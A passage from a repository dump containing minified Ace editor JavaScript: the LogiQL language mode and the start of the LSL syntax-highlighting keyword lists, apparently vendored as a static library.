t.indexOf(e.type||e)>-1},p.recordAutoInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isAutoInsertedClosing(r,i,f.autoInsertedLineEnd[0])||(f.autoInsertedBrackets=0),f.autoInsertedRow=r.row,f.autoInsertedLineEnd=n+i.substr(r.column),f.autoInsertedBrackets++},p.recordMaybeInsert=function(e,t,n){var r=e.getCursorPosition(),i=t.doc.getLine(r.row);this.isMaybeInsertedClosing(r,i)||(f.maybeInsertedBrackets=0),f.maybeInsertedRow=r.row,f.maybeInsertedLineStart=i.substr(0,r.column)+n,f.maybeInsertedLineEnd=i.substr(r.column),f.maybeInsertedBrackets++},p.isAutoInsertedClosing=function(e,t,n){return f.autoInsertedBrackets>0&&e.row===f.autoInsertedRow&&n===f.autoInsertedLineEnd[0]&&t.substr(e.column)===f.autoInsertedLineEnd},p.isMaybeInsertedClosing=function(e,t){return f.maybeInsertedBrackets>0&&e.row===f.maybeInsertedRow&&t.substr(e.column)===f.maybeInsertedLineEnd&&t.substr(0,e.column)==f.maybeInsertedLineStart},p.popAutoInsertedClosing=function(){f.autoInsertedLineEnd=f.autoInsertedLineEnd.substr(1),f.autoInsertedBrackets--},p.clearMaybeInsertedClosing=function(){f&&(f.maybeInsertedBrackets=0,f.maybeInsertedRow=-1)},r.inherits(p,i),t.CstyleBehaviour=p}),ace.define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),ace.define(\"ace/mode/logiql\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/logiql_highlight_rules\",\"ace/mode/folding/coffee\",\"ace/token_iterator\",\"ace/range\",\"ace/mode/behaviour/cstyle\",\"ace/mode/matching_brace_outdent\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./logiql_highlight_rules\").LogiQLHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=e(\"../token_iterator\").TokenIterator,a=e(\"../range\").Range,f=e(\"./behaviour/cstyle\").CstyleBehaviour,l=e(\"./matching_brace_outdent\").MatchingBraceOutdent,c=function(){this.HighlightRules=s,this.foldingRules=new o,this.$outdent=new l,this.$behaviour=new f};r.inherits(c,i),function(){this.lineCommentStart=\"//\",this.blockComment={start:\"/*\",end:\"*/\"},this.getNextLineIndent=function(e,t,n){var r=this.$getIndent(t),i=this.getTokenizer().getLineTokens(t,e),s=i.tokens,o=i.state;if(/comment|string/.test(o))return r;if(s.length&&s[s.length-1].type==\"comment.single\")return r;var u=t.match();return/(-->|<--|<-|->|{)\\s*$/.test(t)&&(r+=n),r},this.checkOutdent=function(e,t,n){return this.$outdent.checkOutdent(t,n)?!0:n!==\"\\n\"&&n!==\"\\r\\n\"?!1:/^\\s+/.test(t)?!0:!1},this.autoOutdent=function(e,t,n){if(this.$outdent.autoOutdent(t,n))return;var r=t.getLine(n),i=r.match(/^\\s+/),s=r.lastIndexOf(\".\")+1;if(!i||!n||!s)return 0;var o=t.getLine(n+1),u=this.getMatching(t,{row:n,column:s});if(!u||u.start.row==n)return 0;s=i[0].length;var f=this.$getIndent(t.getLine(u.start.row));t.replace(new a(n+1,0,n+1,s),f)},this.getMatching=function(e,t,n){t==undefined&&(t=e.selection.lead),typeof t==\"object\"&&(n=t.column,t=t.row);var r=e.getTokenAt(t,n),i=\"keyword.start\",s=\"keyword.end\",o;if(!r)return;if(r.type==i){var f=new u(e,t,n);f.step=f.stepForward}else{if(r.type!=s)return;var f=new u(e,t,n);f.step=f.stepBackward}while(o=f.step())if(o.type==i||o.type==s)break;if(!o||o.type==r.type)return;var l=f.getCurrentTokenColumn(),t=f.getCurrentTokenRow();return new a(t,l,t,l+o.value.length)},this.$id=\"ace/mode/logiql\"}.call(c.prototype),t.Mode=c})"
  },
  {
    "path": "antSword/static/libs/ace/mode-lsl.js",
    "content": "ace.define(\"ace/mode/lsl_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";function s(){var e=this.createKeywordMapper({\"constant.language.float.lsl\":\"DEG_TO_RAD|PI|PI_BY_TWO|RAD_TO_DEG|SQRT2|TWO_PI\",\"constant.language.integer.lsl\":\"ACTIVE|AGENT|AGENT_ALWAYS_RUN|AGENT_ATTACHMENTS|AGENT_AUTOPILOT|AGENT_AWAY|AGENT_BUSY|AGENT_BY_LEGACY_NAME|AGENT_BY_USERNAME|AGENT_CROUCHING|AGENT_FLYING|AGENT_IN_AIR|AGENT_LIST_PARCEL|AGENT_LIST_PARCEL_OWNER|AGENT_LIST_REGION|AGENT_MOUSELOOK|AGENT_ON_OBJECT|AGENT_SCRIPTED|AGENT_SITTING|AGENT_TYPING|AGENT_WALKING|ALL_SIDES|ANIM_ON|ATTACH_AVATAR_CENTER|ATTACH_BACK|ATTACH_BELLY|ATTACH_CHEST|ATTACH_CHIN|ATTACH_HEAD|ATTACH_HUD_BOTTOM|ATTACH_HUD_BOTTOM_LEFT|ATTACH_HUD_BOTTOM_RIGHT|ATTACH_HUD_CENTER_1|ATTACH_HUD_CENTER_2|ATTACH_HUD_TOP_CENTER|ATTACH_HUD_TOP_LEFT|ATTACH_HUD_TOP_RIGHT|ATTACH_LEAR|ATTACH_LEFT_PEC|ATTACH_LEYE|ATTACH_LFOOT|ATTACH_LHAND|ATTACH_LHIP|ATTACH_LLARM|ATTACH_LLLEG|ATTACH_LSHOULDER|ATTACH_LUARM|ATTACH_LULEG|ATTACH_MOUTH|ATTACH_NECK|ATTACH_NOSE|ATTACH_PELVIS|ATTACH_REAR|ATTACH_REYE|ATTACH_RFOOT|ATTACH_RHAND|ATTACH_RHIP|ATTACH_RIGHT_PEC|ATTACH_RLARM|ATTACH_RLLEG|ATTACH_RSHOULDER|ATTACH_RUARM|ATTACH_RULEG|AVOID_CHARACTERS|AVOID_DYNAMIC_OBSTACLES|AVOID_NONE|CAMERA_ACTIVE|CAMERA_BEHINDNESS_ANGLE|CAMERA_BEHINDNESS_LAG|CAMERA_DISTANCE|CAMERA_FOCUS|CAMERA_FOCUS_LAG|CAMERA_FOCUS_LOCKED|CAMERA_FOCUS_OFFSET|CAMERA_FOCUS_THRESHOLD|CAMERA_PITCH|CAMERA_POSITION|CAMERA_POSITION_LAG|CAMERA_POSITION_LOCKED|CAMERA_POSITION_THRESHOLD|CHANGED_ALLOWED_DROP|CHANGED_COLOR|CHANGED_INVENTORY|CHANGED_LINK|CHANGED_MEDIA|CHANGED_OWNER|CHANGED_REGION|CHANGED_REGION_START|CHANGED_SCALE|CHANGED_SHAPE|CHANGED_TELEPORT|CHANGED_TEXTURE|CHARACTER_ACCOUNT_FOR_SKIPPED_FRAMES|CHARACTER_AVOIDANCE_MODE|CHARACTER_CMD_JUMP|CHARACTER_CMD_SMOOTH_STOP|CHARACTER_CMD_STOP|CHARACTER_DESIRED_SPEED|CHARACTER_DESIRED_TURN_SPEED|CHARACTER_LENGTH|CHARACTER_MAX_ACCEL|CHARACTER_MAX_DECEL|CHARACTER_MAX_SPEED|CHARACTER_MAX_TURN_RADIUS|CHARACTER_ORIENTATION|CHARACTER_RADIUS|CHARACTER_STAY_WITHIN_PARCEL|CHARACTER_TYPE|CHARACTER_TYPE_A|CHARACTER_TYPE_B|CHARACTER_TYPE_C|CHARACTER_TYPE_D|CHARACTER_TYPE_NONE|CLICK_ACTION_BUY|CLICK_ACTION_NONE|CLICK_ACTION_OPEN|CLICK_ACTION_OPEN_MEDIA|CLICK_ACTION_PAY|CLICK_ACTION_PLAY|CLICK_ACTION_SIT|CLICK_ACTION_TOUCH|CONTENT_TYPE_ATOM|CONTENT_TYPE_FORM|CONTENT_TYPE_HTML|CONTENT_TYPE_JSON|CONTENT_TYPE_LLSD|CONTENT_TYPE_RSS|CONTENT_TYPE_TEXT|CONTENT_TYPE_XHTML|CONTENT_TYPE_XML|CONTROL_BACK|CONTROL_DOWN|CONTROL_FWD|CONTROL_LBUTTON|CONTROL_LEFT|CONTROL_ML_LBUTTON|CONTROL_RIGHT|CONTROL_ROT_LEFT|CONTROL_ROT_RIGHT|CONTROL_UP|DATA_BORN|DATA_NAME|DATA_ONLINE|DATA_PAYINFO|DATA_SIM_POS|DATA_SIM_RATING|DATA_SIM_STATUS|DEBUG_CHANNEL|DENSITY|ERR_GENERIC|ERR_MALFORMED_PARAMS|ERR_PARCEL_PERMISSIONS|ERR_RUNTIME_PERMISSIONS|ERR_THROTTLED|ESTATE_ACCESS_ALLOWED_AGENT_ADD|ESTATE_ACCESS_ALLOWED_AGENT_REMOVE|ESTATE_ACCESS_ALLOWED_GROUP_ADD|ESTATE_ACCESS_ALLOWED_GROUP_REMOVE|ESTATE_ACCESS_BANNED_AGENT_ADD|ESTATE_ACCESS_BANNED_AGENT_REMOVE|FALSE|FORCE_DIRECT_PATH|FRICTION|GCNP_RADIUS|GCNP_STATIC|GRAVITY_MULTIPLIER|HORIZONTAL|HTTP_BODY_MAXLENGTH|HTTP_BODY_TRUNCATED|HTTP_CUSTOM_HEADER|HTTP_METHOD|HTTP_MIMETYPE|HTTP_PRAGMA_NO_CACHE|HTTP_VERBOSE_THROTTLE|HTTP_VERIFY_CERT|INVENTORY_ALL|INVENTORY_ANIMATION|INVENTORY_BODYPART|INVENTORY_CLOTHING|INVENTORY_GESTURE|INVENTORY_LANDMARK|INVENTORY_NONE|INVENTORY_NOTECARD|INVENTORY_OBJECT|INVENTORY_SCRIPT|INVENTORY_SOUND|INVENTORY_TEXTURE|JSON_APPEND|KFM_CMD_PAUSE|KFM_CMD_PLAY|KFM_CMD_SET_MODE|KFM_CMD_STOP|KFM_COMMAND|KFM_DATA|KFM_FORWARD|KFM_LOOP|KFM_MODE|KFM_PING_PONG|KFM_REVERSE|KFM_ROTATION|KFM_TRANSLATION|LAND_LEVEL|LAND_LOWER|LAND_NOISE|LAND_RAISE|LAND_REVERT|LAND_SMOOTH|LINK_ALL_CHILDREN|LINK_ALL_OTHERS|LINK_ROOT|LINK_SET|LINK_THIS|LIST_STAT_GEOMETRIC_MEAN|LIST_STAT_MAX|LIST_STAT_MEAN|LIST_STAT_MEDIAN|LIST_STAT_MIN|LIST_STAT_NUM_COUNT|LIST_STAT_RANGE|LIST_STAT_STD_DEV|LIST_STAT_SUM|LIST_STAT_SUM_SQUARES|LOOP|MASK_BASE|MASK_EVERYONE|MASK_GROUP|MASK_NEXT|MASK_OWNER|OBJECT_ATTACHED_POINT|OBJECT_CHARACTER_TIME|OBJECT_CREATOR|OBJECT_DESC|OBJECT_GROUP|OBJECT_NAME|OBJECT_OWNER|OBJECT_PATHFINDING_TYPE|OBJECT_PHANTOM|OBJECT_PHYSICS|OBJECT_PHYSICS_COST|OBJECT_POS|OBJECT_PRIM_EQUIVALENCE|OBJECT_RENDER_WEIGHT|OBJECT_RETURN_PARCEL|OBJECT_RETURN_PARCEL_OWNER|OBJECT_RETURN_REGION|OBJECT_ROOT|OBJECT_ROT|OBJECT_RUNNING_SCRIPT_COUNT|OBJECT_SCRIPT_MEMORY|OBJECT_SCRIPT_TIME|OBJECT_SERVER_COST|OBJECT_STREAMING_COST|OBJECT_TEMP_ON_REZ|OBJECT_TOTAL_SCRIPT_COUNT|OBJECT_UNKNOWN_DETAIL|OBJECT_VELOCITY|OPT_AVATAR|OPT_CHARACTER|OPT_EXCLUSION_VOLUME|OPT_LEGACY_LINKSET|OPT_MATERIAL_VOLUME|OPT_OTHER|OPT_STATIC_OBSTACLE|OPT_WALKABLE|PARCEL_COUNT_GROUP|PARCEL_COUNT_OTHER|PARCEL_COUNT_OWNER|PARCEL_COUNT_SELECTED|PARCEL_COUNT_TEMP|PARCEL_COUNT_TOTAL|PARCEL_DETAILS_AREA|PARCEL_DETAILS_DESC|PARCEL_DETAILS_GROUP|PARCEL_DETAILS_ID|PARCEL_DETAILS_NAME|PARCEL_DETAILS_OWNER|PARCEL_DETAILS_SEE_AVATARS|PARCEL_FLAG_ALLOW_ALL_OBJECT_ENTRY|PARCEL_FLAG_ALLOW_CREATE_GROUP_OBJECTS|PARCEL_FLAG_ALLOW_CREATE_OBJECTS|PARCEL_FLAG_ALLOW_DAMAGE|PARCEL_FLAG_ALLOW_FLY|PARCEL_FLAG_ALLOW_GROUP_OBJECT_ENTRY|PARCEL_FLAG_ALLOW_GROUP_SCRIPTS|PARCEL_FLAG_ALLOW_LANDMARK|PARCEL_FLAG_ALLOW_SCRIPTS|PARCEL_FLAG_ALLOW_TERRAFORM|PARCEL_FLAG_LOCAL_SOUND_ONLY|PARCEL_FLAG_RESTRICT_PUSHOBJECT|PARCEL_FLAG_USE_ACCESS_GROUP|PARCEL_FLAG_USE_ACCESS_LIST|PARCEL_FLAG_USE_BAN_LIST|PARCEL_FLAG_USE_LAND_PASS_LIST|PARCEL_MEDIA_COMMAND_AGENT|PARCEL_MEDIA_COMMAND_AUTO_ALIGN|PARCEL_MEDIA_COMMAND_DESC|PARCEL_MEDIA_COMMAND_LOOP|PARCEL_MEDIA_COMMAND_LOOP_SET|PARCEL_MEDIA_COMMAND_PAUSE|PARCEL_MEDIA_COMMAND_PLAY|PARCEL_MEDIA_COMMAND_SIZE|PARCEL_MEDIA_COMMAND_STOP|PARCEL_MEDIA_COMMAND_TEXTURE|PARCEL_MEDIA_COMMAND_TIME|PARCEL_MEDIA_COMMAND_TYPE|PARCEL_MEDIA_COMMAND_UNLOAD|PARCEL_MEDIA_COMMAND_URL|PASSIVE|PATROL_PAUSE_AT_WAYPOINTS|PAYMENT_INFO_ON_FILE|PAYMENT_INFO_USED|PAY_DEFAULT|PAY_HIDE|PERMISSION_ATTACH|PERMISSION_CHANGE_LINKS|PERMISSION_CONTROL_CAMERA|PERMISSION_DEBIT|PERMISSION_OVERRIDE_ANIMATIONS|PERMISSION_RETURN_OBJECTS|PERMISSION_SILENT_ESTATE_MANAGEMENT|PERMISSION_TAKE_CONTROLS|PERMISSION_TELEPORT|PERMISSION_TRACK_CAMERA|PERMISSION_TRIGGER_ANIMATION|PERM_ALL|PERM_COPY|PERM_MODIFY|PERM_MOVE|PERM_TRANSFER|PING_PONG|PRIM_ALPHA_MODE|PRIM_ALPHA_MODE_BLEND|PRIM_ALPHA_MODE_EMISSIVE|PRIM_ALPHA_MODE_MASK|PRIM_ALPHA_MODE_NONE|PRIM_BUMP_BARK|PRIM_BUMP_BLOBS|PRIM_BUMP_BRICKS|PRIM_BUMP_BRIGHT|PRIM_BUMP_CHECKER|PRIM_BUMP_CONCRETE|PRIM_BUMP_DARK|PRIM_BUMP_DISKS|PRIM_BUMP_GRAVEL|PRIM_BUMP_LARGETILE|PRIM_BUMP_NONE|PRIM_BUMP_SHINY|PRIM_BUMP_SIDING|PRIM_BUMP_STONE|PRIM_BUMP_STUCCO|PRIM_BUMP_SUCTION|PRIM_BUMP_TILE|PRIM_BUMP_WEAVE|PRIM_BUMP_WOOD|PRIM_COLOR|PRIM_DESC|PRIM_FLEXIBLE|PRIM_FULLBRIGHT|PRIM_GLOW|PRIM_HOLE_CIRCLE|PRIM_HOLE_DEFAULT|PRIM_HOLE_SQUARE|PRIM_HOLE_TRIANGLE|PRIM_LINK_TARGET|PRIM_MATERIAL|PRIM_MATERIAL_FLESH|PRIM_MATERIAL_GLASS|PRIM_MATERIAL_METAL|PRIM_MATERIAL_PLASTIC|PRIM_MATERIAL_RUBBER|PRIM_MATERIAL_STONE|PRIM_MATERIAL_WOOD|PRIM_MEDIA_ALT_IMAGE_ENABLE|PRIM_MEDIA_AUTO_LOOP|PRIM_MEDIA_AUTO_PLAY|PRIM_MEDIA_AUTO_SCALE|PRIM_MEDIA_AUTO_ZOOM|PRIM_MEDIA_CONTROLS|PRIM_MEDIA_CONTROLS_MINI|PRIM_MEDIA_CONTROLS_STANDARD|PRIM_MEDIA_CURRENT_URL|PRIM_MEDIA_FIRST_CLICK_INTERACT|PRIM_MEDIA_HEIGHT_PIXELS|PRIM_MEDIA_HOME_URL|PRIM_MEDIA_MAX_HEIGHT_PIXELS|PRIM_MEDIA_MAX_URL_LENGTH|PRIM_MEDIA_MAX_WHITELIST_COUNT|PRIM_MEDIA_MAX_WHITELIST_SIZE|PRIM_MEDIA_MAX_WIDTH_PIXELS|PRIM_MEDIA_PARAM_MAX|PRIM_MEDIA_PERMS_CONTROL|PRIM_MEDIA_PERMS_INTERACT|PRIM_MEDIA_PERM_ANYONE|PRIM_MEDIA_PERM_GROUP|PRIM_MEDIA_PERM_NONE|PRIM_MEDIA_PERM_OWNER|PRIM_MEDIA_WHITELIST|PRIM_MEDIA_WHITELIST_ENABLE|PRIM_MEDIA_WIDTH_PIXELS|PRIM_NAME|PRIM_NORMAL|PRIM_OMEGA|PRIM_PHANTOM|PRIM_PHYSICS|PRIM_PHYSICS_SHAPE_CONVEX|PRIM_PHYSICS_SHAPE_NONE|PRIM_PHYSICS_SHAPE_PRIM|PRIM_PHYSICS_SHAPE_TYPE|PRIM_POINT_LIGHT|PRIM_POSITION|PRIM_POS_LOCAL|PRIM_ROTATION|PRIM_ROT_LOCAL|PRIM_SCULPT_FLAG_INVERT|PRIM_SCULPT_FLAG_MIRROR|PRIM_SCULPT_TYPE_CYLINDER|PRIM_SCULPT_TYPE_MASK|PRIM_SCULPT_TYPE_PLANE|PRIM_SCULPT_TYPE_SPHERE|PRIM_SCULPT_TYPE_TORUS|PRIM_SHINY_HIGH|PRIM_SHINY_LOW|PRIM_SHINY_MEDIUM|PRIM_SHINY_NONE|PRIM_SIZE|PRIM_SLICE|PRIM_SPECULAR|PRIM_TEMP_ON_REZ|PRIM_TEXGEN|PRIM_TEXGEN_DEFAULT|PRIM_TEXGEN_PLANAR|PRIM_TEXT|PRIM_TEXTURE|PRIM_TYPE|PRIM_TYPE_BOX|PRIM_TYPE_CYLINDER|PRIM_TYPE_PRISM|PRIM_TYPE_RING|PRIM_TYPE_SCULPT|PRIM_TYPE_SPHERE|PRIM_TYPE_TORUS|PRIM_TYPE_TUBE|PROFILE_NONE|PROFILE_SCRIPT_MEMORY|PSYS_PART_BF_DEST_COLOR|PSYS_PART_BF_ONE|PSYS_PART_BF_ONE_MINUS_DEST_COLOR|PSYS_PART_BF_ONE_MINUS_SOURCE_ALPHA|PSYS_PART_BF_ONE_MINUS_SOURCE_COLOR|PSYS_PART_BF_SOURCE_ALPHA|PSYS_PART_BF_SOURCE_COLOR|PSYS_PART_BF_ZERO|PSYS_PART_BLEND_FUNC_DEST|PSYS_PART_BLEND_FUNC_SOURCE|PSYS_PART_BOUNCE_MASK|PSYS_PART_EMISSIVE_MASK|PSYS_PART_END_ALPHA|PSYS_PART_END_COLOR|PSYS_PART_END_GLOW|PSYS_PART_END_SCALE|PSYS_PART_FLAGS|PSYS_PART_FOLLOW_SRC_MASK|PSYS_PART_FOLLOW_VELOCITY_MASK|PSYS_PART_INTERP_COLOR_MASK|PSYS_PART_INTERP_SCALE_MASK|PSYS_PART_MAX_AGE|PSYS_PART_RIBBON_MASK|PSYS_PART_START_ALPHA|PSYS_PART_START_COLOR|PSYS_PART_START_GLOW|PSYS_PART_START_SCALE|PSYS_PART_TARGET_LINEAR_MASK|PSYS_PART_TARGET_POS_MASK|PSYS_PART_WIND_MASK|PSYS_SRC_ACCEL|PSYS_SRC_ANGLE_BEGIN|PSYS_SRC_ANGLE_END|PSYS_SRC_BURST_PART_COUNT|PSYS_SRC_BURST_RADIUS|PSYS_SRC_BURST_RATE|PSYS_SRC_BURST_SPEED_MAX|PSYS_SRC_BURST_SPEED_MIN|PSYS_SRC_MAX_AGE|PSYS_SRC_OMEGA|PSYS_SRC_PATTERN|PSYS_SRC_PATTERN_ANGLE|PSYS_SRC_PATTERN_ANGLE_CONE|PSYS_SRC_PATTERN_ANGLE_CONE_EMPTY|PSYS_SRC_PATTERN_DROP|PSYS_SRC_PATTERN_EXPLODE|PSYS_SRC_TARGET_KEY|PSYS_SRC_TEXTURE|PUBLIC_CHANNEL|PURSUIT_FUZZ_FACTOR|PURSUIT_GOAL_TOLERANCE|PURSUIT_INTERCEPT|PURSUIT_OFFSET|PU_EVADE_HIDDEN|PU_EVADE_SPOTTED|PU_FAILURE_DYNAMIC_PATHFINDING_DISABLED|PU_FAILURE_INVALID_GOAL|PU_FAILURE_INVALID_START|PU_FAILURE_NO_NAVMESH|PU_FAILURE_NO_VALID_DESTINATION|PU_FAILURE_OTHER|PU_FAILURE_PARCEL_UNREACHABLE|PU_FAILURE_TARGET_GONE|PU_FAILURE_UNREACHABLE|PU_GOAL_REACHED|PU_SLOWDOWN_DISTANCE_REACHED|RCERR_CAST_TIME_EXCEEDED|RCERR_SIM_PERF_LOW|RCERR_UNKNOWN|RC_DATA_FLAGS|RC_DETECT_PHANTOM|RC_GET_LINK_NUM|RC_GET_NORMAL|RC_GET_ROOT_KEY|RC_MAX_HITS|RC_REJECT_AGENTS|RC_REJECT_LAND|RC_REJECT_NONPHYSICAL|RC_REJECT_PHYSICAL|RC_REJECT_TYPES|REGION_FLAG_ALLOW_DAMAGE|REGION_FLAG_ALLOW_DIRECT_TELEPORT|REGION_FLAG_BLOCK_FLY|REGION_FLAG_BLOCK_TERRAFORM|REGION_FLAG_DISABLE_COLLISIONS|REGION_FLAG_DISABLE_PHYSICS|REGION_FLAG_FIXED_SUN|REGION_FLAG_RESTRICT_PUSHOBJECT|REGION_FLAG_SANDBOX|REMOTE_DATA_CHANNEL|REMOTE_DATA_REPLY|REMOTE_DATA_REQUEST|REQUIRE_LINE_OF_SIGHT|RESTITUTION|REVERSE|ROTATE|SCALE|SCRIPTED|SIM_STAT_PCT_CHARS_STEPPED|SMOOTH|STATUS_BLOCK_GRAB|STATUS_BLOCK_GRAB_OBJECT|STATUS_BOUNDS_ERROR|STATUS_CAST_SHADOWS|STATUS_DIE_AT_EDGE|STATUS_INTERNAL_ERROR|STATUS_MALFORMED_PARAMS|STATUS_NOT_FOUND|STATUS_NOT_SUPPORTED|STATUS_OK|STATUS_PHANTOM|STATUS_PHYSICS|STATUS_RETURN_AT_EDGE|STATUS_ROTATE_X|STATUS_ROTATE_Y|STATUS_ROTATE_Z|STATUS_SANDBOX|STATUS_TYPE_MISMATCH|STATUS_WHITELIST_FAILED|STRING_TRIM|STRING_TRIM_HEAD|STRING_TRIM_TAIL|TOUCH_INVALID_FACE|TRAVERSAL_TYPE|TRAVERSAL_TYPE_FAST|TRAVERSAL_TYPE_NONE|TRAVERSAL_TYPE_SLOW|TRUE|TYPE_FLOAT|TYPE_INTEGER|TYPE_INVALID|TYPE_KEY|TYPE_ROTATION|TYPE_STRING|TYPE_VECTOR|VEHICLE_ANGULAR_DEFLECTION_EFFICIENCY|VEHICLE_ANGULAR_DEFLECTION_TIMESCALE|VEHICLE_ANGULAR_FRICTION_TIMESCALE|VEHICLE_ANGULAR_MOTOR_DECAY_TIMESCALE|VEHICLE_ANGULAR_MOTOR_DIRECTION|VEHICLE_ANGULAR_MOTOR_TIMESCALE|VEHICLE_BANKING_EFFICIENCY|VEHICLE_BANKING_MIX|VEHICLE_BANKING_TIMESCALE|VEHICLE_BUOYANCY|VEHICLE_FLAG_CAMERA_DECOUPLED|VEHICLE_FLAG_HOVER_GLOBAL_HEIGHT|VEHICLE_FLAG_HOVER_TERRAIN_ONLY|VEHICLE_FLAG_HOVER_UP_ONLY|VEHICLE_FLAG_HOVER_WATER_ONLY|VEHICLE_FLAG_LIMIT_MOTOR_UP|VEHICLE_FLAG_LIMIT_ROLL_ONLY|VEHICLE_FLAG_MOUSELOOK_BANK|VEHICLE_FLAG_MOUSELOOK_STEER|VEHICLE_FLAG_NO_DEFLECTION_UP|VEHICLE_HOVER_EFFICIENCY|VEHICLE_HOVER_HEIGHT|VEHICLE_HOVER_TIMESCALE|VEHICLE_LINEAR_DEFLECTION_EFFICIENCY|VEHICLE_LINEAR_DEFLECTION_TIMESCALE|VEHICLE_LINEAR_FRICTION_TIMESCALE|VEHICLE_LINEAR_MOTOR_DECAY_TIMESCALE|VEHICLE_LINEAR_MOTOR_DIRECTION|VEHICLE_LINEAR_MOTOR_OFFSET|VEHICLE_LINEAR_MOTOR_TIMESCALE|VEHICLE_REFERENCE_FRAME|VEHICLE_TYPE_AIRPLANE|VEHICLE_TYPE_BALLOON|VEHICLE_TYPE_BOAT|VEHICLE_TYPE_CAR|VEHICLE_TYPE_NONE|VEHICLE_TYPE_SLED|VEHICLE_VERTICAL_ATTRACTION_EFFICIENCY|VEHICLE_VERTICAL_ATTRACTION_TIMESCALE|VERTICAL|WANDER_PAUSE_AT_WAYPOINTS|XP_ERROR_EXPERIENCES_DISABLED|XP_ERROR_EXPERIENCE_DISABLED|XP_ERROR_EXPERIENCE_SUSPENDED|XP_ERROR_INVALID_EXPERIENCE|XP_ERROR_INVALID_PARAMETERS|XP_ERROR_KEY_NOT_FOUND|XP_ERROR_MATURITY_EXCEEDED|XP_ERROR_NONE|XP_ERROR_NOT_FOUND|XP_ERROR_NOT_PERMITTED|XP_ERROR_NO_EXPERIENCE|XP_ERROR_QUOTA_EXCEEDED|XP_ERROR_RETRY_UPDATE|XP_ERROR_STORAGE_EXCEPTION|XP_ERROR_STORE_DISABLED|XP_ERROR_THROTTLED|XP_ERROR_UNKNOWN_ERROR\",\"constant.language.integer.boolean.lsl\":\"FALSE|TRUE\",\"constant.language.quaternion.lsl\":\"ZERO_ROTATION\",\"constant.language.string.lsl\":\"EOF|JSON_ARRAY|JSON_DELETE|JSON_FALSE|JSON_INVALID|JSON_NULL|JSON_NUMBER|JSON_OBJECT|JSON_STRING|JSON_TRUE|NULL_KEY|TEXTURE_BLANK|TEXTURE_DEFAULT|TEXTURE_MEDIA|TEXTURE_PLYWOOD|TEXTURE_TRANSPARENT|URL_REQUEST_DENIED|URL_REQUEST_GRANTED\",\"constant.language.vector.lsl\":\"TOUCH_INVALID_TEXCOORD|TOUCH_INVALID_VECTOR|ZERO_VECTOR\",\"invalid.broken.lsl\":\"LAND_LARGE_BRUSH|LAND_MEDIUM_BRUSH|LAND_SMALL_BRUSH\",\"invalid.deprecated.lsl\":\"ATTACH_LPEC|ATTACH_RPEC|DATA_RATING|OBJECT_ATTACHMENT_GEOMETRY_BYTES|OBJECT_ATTACHMENT_SURFACE_AREA|PRIM_CAST_SHADOWS|PRIM_MATERIAL_LIGHT|PRIM_TYPE_LEGACY|PSYS_SRC_INNERANGLE|PSYS_SRC_OUTERANGLE|VEHICLE_FLAG_NO_FLY_UP|llClearExperiencePermissions|llCloud|llGetExperienceList|llMakeExplosion|llMakeFire|llMakeFountain|llMakeSmoke|llRemoteDataSetRegion|llSound|llSoundPreload|llXorBase64Strings|llXorBase64StringsCorrect\",\"invalid.illegal.lsl\":\"event\",\"invalid.unimplemented.lsl\":\"CHARACTER_MAX_ANGULAR_ACCEL|CHARACTER_MAX_ANGULAR_SPEED|CHARACTER_TURN_SPEED_MULTIPLIER|PERMISSION_CHANGE_JOINTS|PERMISSION_CHANGE_PERMISSIONS|PERMISSION_RELEASE_OWNERSHIP|PERMISSION_REMAP_CONTROLS|PRIM_PHYSICS_MATERIAL|PSYS_SRC_OBJ_REL_MASK|llCollisionSprite|llPointAt|llRefreshPrimURL|llReleaseCamera|llRemoteLoadScript|llSetPrimURL|llStopPointAt|llTakeCamera\",\"reserved.godmode.lsl\":\"llGodLikeRezObject|llSetInventoryPermMask|llSetObjectPermMask\",\"reserved.log.lsl\":\"print\",\"keyword.control.lsl\":\"do|else|for|if|jump|return|while\",\"storage.type.lsl\":\"float|integer|key|list|quaternion|rotation|string|vector\",\"support.function.lsl\":\"llAbs|llAcos|llAddToLandBanList|llAddToLandPassList|llAdjustSoundVolume|llAgentInExperience|llAllowInventoryDrop|llAngleBetween|llApplyImpulse|llApplyRotationalImpulse|llAsin|llAtan2|llAttachToAvatar|llAttachToAvatarTemp|llAvatarOnLinkSitTarget|llAvatarOnSitTarget|llAxes2Rot|llAxisAngle2Rot|llBase64ToInteger|llBase64ToString|llBreakAllLinks|llBreakLink|llCSV2List|llCastRay|llCeil|llClearCameraParams|llClearLinkMedia|llClearPrimMedia|llCloseRemoteDataChannel|llCollisionFilter|llCollisionSound|llCos|llCreateCharacter|llCreateKeyValue|llCreateLink|llDataSizeKeyValue|llDeleteCharacter|llDeleteKeyValue|llDeleteSubList|llDeleteSubString|llDetachFromAvatar|llDetectedGrab|llDetectedGroup|llDetectedKey|llDetectedLinkNumber|llDetectedName|llDetectedOwner|llDetectedPos|llDetectedRot|llDetectedTouchBinormal|llDetectedTouchFace|llDetectedTouchNormal|llDetectedTouchPos|llDetectedTouchST|llDetectedTouchUV|llDetectedType|llDetectedVel|llDialog|llDie|llDumpList2String|llEdgeOfWorld|llEjectFromLand|llEmail|llEscapeURL|llEuler2Rot|llEvade|llExecCharacterCmd|llFabs|llFleeFrom|llFloor|llForceMouselook|llFrand|llGenerateKey|llGetAccel|llGetAgentInfo|llGetAgentLanguage|llGetAgentList|llGetAgentSize|llGetAlpha|llGetAndResetTime|llGetAnimation|llGetAnimationList|llGetAnimationOverride|llGetAttached|llGetBoundingBox|llGetCameraPos|llGetCameraRot|llGetCenterOfMass|llGetClosestNavPoint|